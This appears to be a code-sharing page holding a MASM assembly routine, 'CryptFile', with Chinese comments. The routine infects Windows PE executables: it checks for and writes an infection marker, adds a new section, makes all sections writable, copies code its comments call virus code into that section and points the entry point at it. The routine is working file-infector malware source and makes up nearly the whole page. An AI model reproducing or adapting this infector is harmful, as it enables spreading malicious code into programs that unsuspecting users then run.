📄 code.asm
字号:
CryptFile PROC szFname : LPSTR, hDlg : HWND,dwProtFlags : DWORD
assume fs : nothing
invoke CreateFileA,szFname,GENERIC_READ or GENERIC_WRITE, \
FILE_SHARE_READ or FILE_SHARE_WRITE, \
NULL,OPEN_EXISTING, \
FILE_ATTRIBUTE_NORMAL,NULL
cmp eax,INVALID_HANDLE_VALUE
jz preadfail
mov hFile, eax ;文件句柄
invoke SetFilePointer,hFile,3ch,0,FILE_BEGIN
invoke ReadFile,hFile,addr PE_head_addr,4,addr byte_read,0
cmp eax,0
jz preadfail ;失败就结束
invoke SetFilePointer,hFile,PE_head_addr,0,FILE_BEGIN
mov Head_len,sizeof PE_head+sizeof Section_table
invoke ReadFile,hFile,addr PE_head,Head_len,addr byte_read,0
cmp dword ptr PE_head.Signature,IMAGE_NT_SIGNATURE
jnz pnope
;检查是否是PE文件,不是就跳出
;------------------------------------(上面的)--
cmp word ptr PE_head[1ah],0842h
jz pdo
;若已感染过也跳
;------------------------------------(上面的)--
push PE_head.OptionalHeader.AddressOfEntryPoint
pop des_in
push PE_head.OptionalHeader.ImageBase
pop des_base
mov eax,des_in
add eax,des_base
mov des_basein,eax
;保存将要感染的程序的入口RVA和默认装入内存的地址
;------------------------------------(上面的)--
movzx eax,PE_head.FileHeader.SizeOfOptionalHeader
add eax,18h
mov Section_addr,eax
;得到第一个节的地址
;------------------------------------(上面的)--
mov checker_len,offset vend-offset vstart
;得到病毒代码的长度
;------------------------------------(上面的)--
movzx eax,PE_head.FileHeader.NumberOfSections
inc eax
mov ecx,28h
mul ecx
add eax,Section_addr
add eax,PE_head_addr
cmp eax,PE_head.OptionalHeader.SizeOfHeaders
;检测当前文件头的剩余空间可否再加一个节。
;------------------------------------(上面的)--
ja p_no_section
lea esi,Section_table
pushad
movzx ecx,PE_head.FileHeader.NumberOfSections
loops:
cmp ecx,0
jz loopend
or DWORD ptr [esi+24h],80000000h ;更改结的属性为可写
add esi,28h
dec ecx
jmp loops
loopend:
popad
; 软件需要读写PE中的某些节,因此我将所有节的属性全部改成符合条件的。
;------------------------------------(上面的)--
movzx eax,PE_head.FileHeader.NumberOfSections
mov ecx,28h
mul ecx
add esi,eax
inc PE_head.FileHeader.NumberOfSections
lea edi,new_section
xchg edi,esi
;填加一个节
;------------------------------------(上面的)--
mov eax,[edi-28h+8]
add eax,[edi-28h+0ch]
;--------------------------------------------------
mov temp_virt_addr,eax ;存未对齐时的RVA
; 保存此值稍后计算 SizeOfImage 值时会用到
; 请看观留意下面的代码。
mov ecx,PE_head.OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
mov new_section.virt_addr,eax
;建立新块,并且块对齐,得到新块入口地址
;------------------------------------(上面的)--
mov eax,checker_len
mov temp_raw_size,eax
; 保存此值稍后计算 SizeOfImage 值时会用到
; 请看观留意下面的代码。
;------------------------------------(上面的)--
mov ecx,PE_head.OptionalHeader.FileAlignment
div ecx
test edx,edx
jz nextgob
inc eax
nextgob:
mul ecx
mov new_section.raw_size,eax
;得出新块的物理大小,按文件对齐
;------------------------------------(上面的)--
mov eax,checker_len
mov ecx,PE_head.OptionalHeader.SectionAlignment
div ecx
test edx,edx
jz nextgoc
inc eax
nextgoc:
mul ecx
mov new_section.virt_size,eax
;得出虚拟地址,按块对齐
;------------------------------------(上面的)--
mov eax,[edi-28h+14h]
add eax,[edi-28h+10h]
mov ecx,PE_head.OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
mov new_section.raw_offset,eax
;得到文件中的偏移。(按理说应该是文件最末)
;------------------------------------(上面的)--
;mov eax,new_section.virt_size
; add eax,PE_head.OptionalHeader.SizeOfImage
; mov ecx,PE_head.OptionalHeader.SectionAlignment
; div ecx
; inc eax
; mul ecx
; mov PE_head.OptionalHeader.SizeOfImage,eax
;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐
;这段是原来写的对齐代码,后来用下面那段替代了
;------------------------------------(上面的)--
mov eax,new_section.virt_addr
add eax,temp_raw_size
mov ecx,PE_head.OptionalHeader.SectionAlignment
div ecx
test edx,edx
jz nextgod
inc eax
nextgod:
mul ecx
mov PE_head.OptionalHeader.SizeOfImage,eax
;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐
;------------------------------------(上面的)--
mov ecx,28h
rep movsb
;填加新块内容
;------------------------------------(上面的)--
mov eax,new_section.virt_addr
mov PE_head.OptionalHeader.AddressOfEntryPoint,eax
;改入口地址
;------------------------------------(上面的)--
mov word ptr PE_head[1ah],0842h
;填加感染标志
;------------------------------------(上面的)--
pushad
push eax
push esi
push ecx
lea esi,Section_table
movzx ecx,PE_head.FileHeader.NumberOfSections
loopsa:
add esi,28h
dec ecx
cmp ecx,2 ;判断是否到达到数第二个结的起始地址了
jnz loopsa
mov eax,[esi+34h] ;最后一个节的voffset
sub eax,DWORD ptr [esi+0ch] ;到数第二个结的voffset
mov DWORD ptr [esi+08],eax ;相减后放入到数第二个结的vsize
pop ecx
pop esi
pop eax
popad
;重新计算到数第二个节的vsize=最后一个节的voffet-到数第二个结的voffset
;这样才能在2000下运行
;------------------------------------(上面的)--
invoke SetFilePointer,hFile,PE_head_addr,0,FILE_BEGIN
invoke WriteFile,hFile,addr PE_head,Head_len,addr byte_read,0
cmp eax,0
jz pwerr
;更新文件头
;------------------------------------(上面的)--
invoke SetFilePointer,hFile,new_section.raw_offset,0,FILE_BEGIN
;更新指针(到文件尾)
;------------------------------------(上面的)--
mov eax,offset vstart
invoke WriteFile,hFile,eax,new_section.raw_size,addr byte_write,0
;用这段写会自动文件对齐,2000下可用
;------------------------------------(上面的)--
cmp eax,0 ;判断是否成功,如果不成功就使用没有段对齐的方式写
jnz pwok
mov eax,offset vstart
invoke WriteFile,hFile,eax,checker_len,addr byte_write,0
;加入上面那段失败会使用这段写,2000不可用,需要用peedior重建立pe文件头才可在2000下用
;------------------------------------(上面的)--
cmp eax,0
jz pwerr
invoke MessageBox,hDlg,offset mduiqierr,offset mtitle,64
jmp exit
pwok:
;写病毒代码
;------------------------------------(上面的)--
invoke MessageBox,hDlg,offset mok,offset mtitle,64
exit:
invoke CloseHandle,hFile
ret
pdo:
invoke MessageBox,hDlg,offset mdo,offset mtitle,64
jmp exit
preadfailpmem:
push pMem
call GlobalFree
invoke MessageBox,hDlg,offset mopenerr,offset mtitle,64
jmp exit
preadfail:
invoke MessageBox,hDlg,offset mopenerr,offset mtitle,64
jmp exit
p_no_section:
invoke MessageBox,hDlg,offset msectionbig,offset mtitle,64
jmp exit
pnope:
invoke MessageBox,hDlg,offset mnope,offset mtitle,64
jmp exit
pwerr:
invoke MessageBox,hDlg,offset mwerr,offset mtitle,64
jmp exit
PsizeErr:
invoke MessageBox,hDlg,offset MsizeErr,offset mtitle,64
jmp exit
PMemErr:
invoke MessageBox,hDlg,offset MMemErr,offset mtitle,64
PEncryptEntryPointCodeErr:
push pMem
call GlobalFree
invoke MessageBox,hDlg,offset MEncryptEntryPointCodeErr,offset mtitle,64
jmp exit
CryptFile ENDP
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -